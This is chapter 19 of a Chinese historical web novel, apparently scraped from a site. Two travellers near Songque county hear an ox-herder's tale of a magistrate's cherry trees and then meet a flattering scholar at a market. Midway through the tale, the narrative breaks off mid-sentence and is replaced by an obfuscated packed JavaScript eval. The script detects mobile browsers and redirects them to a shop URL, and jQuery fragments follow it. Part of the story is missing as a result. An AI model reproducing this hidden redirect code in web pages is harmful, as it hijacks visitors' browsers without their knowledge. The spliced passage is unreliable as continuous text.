19.松雀县

作品:《乱世奔逃不如起义称王

    “都是梦了。梦境诡异多变,想来是这几日奔波累到了。”


    庄辛只这样说着,远远瞧了北方的乌云,似乎火势极大,那乌云蔽日,几乎遮了半数天空。


    羡清川脸上的水被她自行用手甩去,抬头瞧了许明香与庄辛一眼,远处自家爹大喊,“清清,过来。”


    过了这溪,地上的竹也整齐,刘期粮才与萧二牛切磋了会,手中拿着自己的银杆枪,站在羡寻朗身边笑着。


    羡寻朗道:“我们将地方一规整,清清,你跟你刘叔去那边瞧瞧,看看有什么该采买的,一路上瞧看瞧看。”


    刘期粮将手中枪一收,寻了短刃隐着,羡清川有些疑惑,“爹,不是说咱们现在不方便抛头露面吗?”


    羡寻朗笑着指了指曾直烟的方向道:“你刘叔一瞧就是个文相,一个书生模样的男子带着个孩子,不会引人注目的。跟着你刘叔去打探一下吧。”


    出了这方丘,沿溪往西南,绕一汪,见一溜的青崖石,近二里无人烟。


    山间有小路,却少有人迹,远远听一牛哞,二人循声而去,见一青衣老汉,卷着裤腿,手中拿一长杆,缓敲着地,嘴中悠悠唱喝,“哪管他前朝后世,前因后果,只赶青牛留青仙……”


    刘期粮唤道:“老伯,此处可是松雀了?”


    放牛的老汉止住了步子,回头瞧来,“此处是松雀,也不是松雀。”


    羡清川来了兴趣,这老伯唱青牛,赶得却是黄牛,便询问道:“为何是也不是呢?”


    老汉瞧了瞧刘期粮,又瞧了瞧羡清川,拿着手中长杆指远处溪道:“瞧,这溪流名为净河,顺着这河边一直走,打了两个弯,再往西南,便是松雀的喜鹊停村了。”


    刘期粮挑眉,“一直走,打两个弯?分得这样细吗?”


    老汉呵呵笑道:“自然,这松雀以北,是督望,两地的草也不一样啊,就说这松雀的草,牛儿爱吃,督望的草,下过了雨,牛儿才吃。前些日子下雨了,我家牛儿非要来尝尝这督望的草。”


    羡清川道:“那这牛还挺挑嘴。”


    放牛的老汉也是个爱凑热闹的,见两人面生,也不由得来问,“我在这放牛多年,怎么从来没有见过你们啊?”


    羡清川抬头瞧,见这放牛的老伯面容乌黑,头上带着一顶草帽,瞧着是新编的,“我跟我叔叔回来探亲的,您当然没见过了。老伯,你家住哪啊?”


    “哦,探亲的呀。我家啊,我家就住在哪两道弯间,离着松雀近,离着督望远。”


    他赶着牛,不知是否是久未与人交谈,这老伯的话格外多,“你们瞧见北边天了没,怎么那么一大团黑云啊,是不是起了山火?按理来说,这将要夏日了,山里起火也是少见的。”


    刘期粮点了点头,未与其聊太多,转了话题道:“老伯,你这帽子不错啊。”


    “哈哈哈,挺好看的吧?我这是自己编的,老汉年轻的时候还有不少人夸我手艺好呢,近些年,老伙计死的死,走的走,也没人夸了。今日咱们有缘,若下次再见,赠你二人每人一顶啊?”


    刘期粮笑道:“那我与我侄儿也该考虑以什么作为回礼了。”


    放牛的老伯高兴,摆了摆手,“嗐,老汉是问你们要回礼的吗?咱今日相识就是缘分啊,冲着今日你们与我聊天,老汉高兴,还说回礼?且这草帽草编的东西本就不值钱,要说回礼什么的我可就生气了!”


    刘期粮笑道:“好好好,不说不说。老伯,你这牛也不放了吗?”


    老汉摸着这黄牛的脑袋,“这牛儿通人性,刚刚也吃饱了,它也喜欢你们呢。你们二人是去集上买东西吗?今日正好是松雀逢五集。”


    羡清川伸手摸了摸黄牛的毛,这只牛很温顺,毛软乎乎的,很短,滑溜溜,“逢五集?”


    老伯回应道:“这松雀,便是逢五有一次大集市,隔着四天,有一次。”


    羡清川点了点头,“那真是巧了。”


    三人一齐往人多处走,七拐八拐,走过一零散的村庄,越过一众土房,渐渐听得着人声杂闹。


    这些日子的奔逃实在是颠簸劳累,此时远远传来的叫卖声,倒是在羡清川耳中显得格外好听。


    刘期粮大步走着,偶尔略微缓下来,等等身后的两人。


    因这放牛老伯一路相伴,刘期粮也未与羡清川交代什么,只是左瞧瞧右看看,“这溪边一溜的梧桐,到了这里,改种樱树了。”


    放牛的老伯瞧了一眼,面色如常,“这便是我们松雀之前的一个县令大人种的了,说这事,也是美谈,我们县令是个好心的官,平日遇见什么困难的人总会帮上一把,这樱花啊原本没有的。”


    羡清川走在老伯身边,也是耐心的听着。


    “松雀这北边,也就是咱们刚刚来时路过的那个村子,叫喜鹊停。我家便在那呢。”


    “为什么叫喜鹊停呢?因为许久之前,登记名字的官员来访查,这喜鹊停本叫屁猪村,那当官的觉得难听,不想用‘屁猪村’来命名。”


    “那也是巧了,正当那当官的琢磨该给起个什么名字时,来了一只喜鹊,正正好好停在了那当官的手中笔杆上。于是,我们村从那之后就叫喜鹊停了。”


    羡清川回忆着,路过那村时确见一石牌,上头题的其实是‘喜鹊庭’。


    估计又是那当官的觉得‘停’字不好,又又又改了去。


    刘期粮今日本就是带着羡清川出来走走,了解一下周围环境,听着这放牛的老伯说这周遭的事,刘期粮也是乐意听,便接话询问,“那县令大人为何要砍了梧桐种樱树呢?”


    放牛的老伯缓声讲述道:“别急嘛,听我慢慢给你说。说起我们喜鹊停,有一户人家,老妪年过花甲,膝下有一儿一女,女儿少时嫁出去,生产时难产,失了性命,连同孩儿一齐去了。”


    “老妪是个命苦的,还好有个儿子照顾着,这儿子三十七岁才成家,家中种了一棵樱树,原本从来不开花,忽有一年春,开了满满一树的粉啊,次年,那家儿媳诞下一女,那户人家与她起名。”


    “单名叫樱。”


    老伯一下下抚着身边牛儿的脑袋,“其实也没什么,后来这户人家老妪的儿子莫名有了杀头的罪,家里的老母、媳妇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979241|192218||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拼了命的求个生的机会,那男人可算是活下来了。”


    “后来呢?”


    刘期粮随手拨弄了下街边摊子上摆着的手串,这老伯所讲述的故事他半听未听的,视线也未落在这老伯的身上,仔细着观察这边街上房屋布局,以及来往人群。


    老伯沉浸在这故事中,“后来?后来那县令知道这男人是被冤枉的,他可怜他,便亲手砍了溪流旁一溜的梧桐,换了这男人家里的樱树,种上了。”


    羡清川却是听得认真,“被冤枉的?可是受了极大的苦,那县令才手植樱树以作补偿吧。”


    老伯呵呵笑了笑,“是啊。”


    转而,三人来到了闹市附近,老伯牵着牛,要离去,“前头人密,老汉带着牛儿不方便,就不与你们同行了。”


    二人礼貌点了点头,瞧着那老人牵着黄牛往远处走去。


    羡清川身边有一葫芦摊,卖葫芦的老板是个身长七尺有余的女娘,眉连着,见三人从远处来,那放牛老翁又往回走,这卖葫芦的女娘叹了口气,也不招揽生意,自顾自的看着手中的书。


    手中书页面卷着,许是翻了多次,羡清川瞧了她两眼,前头刘期粮大步走着,这边聊一会,那边聊一会,见路上跑马,骑马的是个约莫四五十岁的男人,穿着褐色连襟袍。


    刘期粮便立在一茶饮摊前,与一书生模样的男人随意交谈着,本是说这茶香,刘期粮又夸道:“那马儿真是一匹好马呀。”


    书生捏着瓷罐,嗅其中的茶叶香气,听刘期粮这样说,便也问道:“哦?郎君说刚刚那匹马?何以见得呢?”


    刘期粮微微一笑,不知是与书生谈话,还是与羡清川教学,只听他笑道:“相马,需得前瞧似鹿,后瞧似兔,腰如弓,蹄如碓,方才那匹马,瞧着耳根硬实,眸子黑亮,却不带彪悍相,倒是适合做驿马。”


    书生道:“看来郎君懂得很多。”


    刘期粮莞尔:“不过从书上略见一二,只是见得马儿少,只靠书上寥寥几字还是不够啊。”


    书生手中拿着茶罐,也不去嗅了,“如今便见到了,还是一匹郎君觉得好的马儿。在下王沉随,不知郎君与小娘子尊姓大名啊?”


    刘期粮见面前这叫王沉随的朝自己与羡清川行了个拱手礼,便回礼道:“在下刘期粮。”


    羡清川瞧着刘期粮行礼,便也学着像模像样道:“在下羡清川。”


    书生王沉随沉吟片刻,随即夸道:“真好听。刘期粮,听着便望粮食丰厚,这一想便是风调雨顺,真好,真好。”


    刘期粮哈哈笑了笑,“小时候家里穷,我爹便给我起了这名。”


    书生王沉随夸着,“郎君长得也极为俊秀,与你交谈真是让人觉得如沐清风。”


    转而,这王沉随又夸羡清川,“羡清川。羡清川!小娘子长得凤眸凌厉,名字也好听,羡清川啊,山河海晏,见尔之名如见盛世山河,真好啊。”


    刚认识,就一顿夸,羡清川有些不好意思的偏了偏脑袋,面色微微发着红,转而又抬眸瞧,刘期粮是好这口的,见此人嘴甜,刘期粮当即请人家坐下喝茶。